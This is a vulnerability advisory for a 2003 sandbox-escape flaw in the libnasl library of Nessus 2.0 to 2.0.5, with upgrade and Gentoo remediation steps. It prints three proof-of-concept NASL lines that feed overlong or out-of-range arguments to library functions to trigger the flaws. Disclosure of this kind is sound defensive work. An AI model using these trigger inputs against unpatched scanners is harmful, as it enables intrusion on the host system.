Nessus LibNASL Arbitrary Code Execution Vulnerability

Bugtraq ID:	7664
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 22 2003 12:00AM
Updated:	Feb 20 2007 08:28PM
Credit:	The discovery of this vulnerability has been credited to "Sir Mordred" <[email protected]>.
Vulnerable:	Nessus Nessus 2.0.5 Nessus Nessus 2.0.4 Nessus Nessus 2.0.3 Nessus Nessus 2.0.2 Nessus Nessus 2.0.1 Nessus Nessus 2.0
Not Vulnerable:	Nessus Nessus 2.0.6

Nessus LibNASL Arbitrary Code Execution Vulnerability

Nessus has reported that various flaws have been discovered in the 'libnasl' library used by the Nessus application. As a result, a malicious NASL script may be able to break outside of the established sandbox environment and execute arbitrary commands on the local system.

Note that this malicious script must be a legitimate plugin that has been uploaded to the Nessus server. Furthermore, the affected Nessus application must have enabled the 'plugins_upload' option (which is disabled by default).

Nessus LibNASL Arbitrary Code Execution Vulnerability

The following proof-of-concept NASL scripts were provided:

insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);
scanner_add_port(port : 80, proto : crap(data:'A', length:300));
ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) );

Nessus LibNASL Arbitrary Code Execution Vulnerability

Solution:
This issue has been addressed in Nessus 2.0.6. Users are advised to upgrade as soon as possible.

Gentoo has released advisory 200305-10. Vulnerable users are advised to perform the following commands:

emerge sync
emerge nessus
emerge clean


Nessus Nessus 2.0

• Nessus Nessus 2.0.6
  http://www.nessus.org/nessus_2_0.html

Nessus Nessus 2.0.1

• Nessus Nessus 2.0.6
  http://www.nessus.org/nessus_2_0.html

Nessus Nessus 2.0.2

• Nessus Nessus 2.0.6
  http://www.nessus.org/nessus_2_0.html

Nessus Nessus 2.0.3

• Nessus Nessus 2.0.6
  http://www.nessus.org/nessus_2_0.html

Nessus Nessus 2.0.4

• Nessus Nessus 2.0.6
  http://www.nessus.org/nessus_2_0.html

Nessus Nessus 2.0.5

• Nessus Nessus 2.0.6
  http://www.nessus.org/nessus_2_0.html

Nessus LibNASL Arbitrary Code Execution Vulnerability

References:

• Nessus Home Page (Tenable Network Security)
  
• nessus NASL scripting engine security issues (Sir Mordred )
  
• Potential security vulnerability in Nessus ([email protected] )